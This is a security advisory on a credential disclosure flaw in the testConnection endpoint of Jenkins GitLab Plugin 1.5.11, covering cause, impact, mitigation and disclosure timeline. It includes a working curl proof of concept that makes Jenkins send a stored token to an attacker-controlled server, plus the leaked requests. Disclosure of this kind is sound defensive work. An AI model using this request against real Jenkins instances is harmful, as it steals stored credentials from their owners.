An exploitable information disclosure vulnerability exists in the
testConnection functionality of the Jenkins GitLab Plugin 1.5.11. A specially crafted HTTP request from a user with Overall/Read permissions - such as an anonymous user, if enabled - can cause affected versions of this plugin to disclose credentials from the Jenkins credentials database to an attacker controlled server. As this vulnerability is exploitable through HTTP GET request this vulnerability may also be exploited via Cross Site Request Forgery (CSRF).
In order for this attack to be successful, the attacker will need to know the credentials id of the credentials to disclose. This can be found through a number of ways, such as exposed build logs (read), access to the credential manager in the Jenkins UI (read), or through another vulnerable plugin which provides a
fillCredentialsIdItems style endpoint.
Jenkins GitLab Plugin 1.5.11
7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE-285: Improper Authorization
This vulnerability exists in the
testConnection endpoint exposed by the
doTestConnection method of
com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig due to missing Jenkins permissions check.
Due to the way in which this plugin expects to authenticate against the remote GitLab instance, the credentials associated with the attacker-specified
credentialsId are submitted as part of the HTTP
PRIVATE-TOKEN header to the attacker-controlled server. An example of this attack against a Jenkins 2.165 instance running a vulnerable version of this plugin and configured to allow anonymous read access has been provided below.
# Send credentials to an attacker's server (http://127.0.0.1:7000?). # The trailing '?' is to ensure that the expected path is appended as a # query parameter, rather than part of the query path. $ curl -s -X GET -G \ -d 'url=http://127.0.0.1:7000/?' \ -d 'clientBuilderId=autodetect' \ -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \ 'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'
The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following (multiple requests are submitted to the attacker specified server when the
clientBuilderdId field above is set to
# First request from Jenkins (GET). /api/v4/user Accept: application/json PRIVATE-TOKEN: ASecretTextEntry Host: 127.0.0.1:7000 Connection: Keep-Alive # Second request from Jenkins (GET) /api/v3/user Accept: application/json PRIVATE-TOKEN: ASecretTextEntry Host: 127.0.0.1:7000 Connection: Keep-Alive
It is worth noting that as the response from the attacker-specified server is not in the expected format the plugin will raise an error but not render the response.
Until such time that the vendor produces a patched version, this plugin should be disabled (if possible), or unnecessary users with Overall/Read permissions removed (such as anonymous access).
2019-03-12 - Vendor Disclosure
2019-04-30 - Vendor Patched
2019-05-06 - Public Release
Discovered by Peter Adkins of Cisco Umbrella.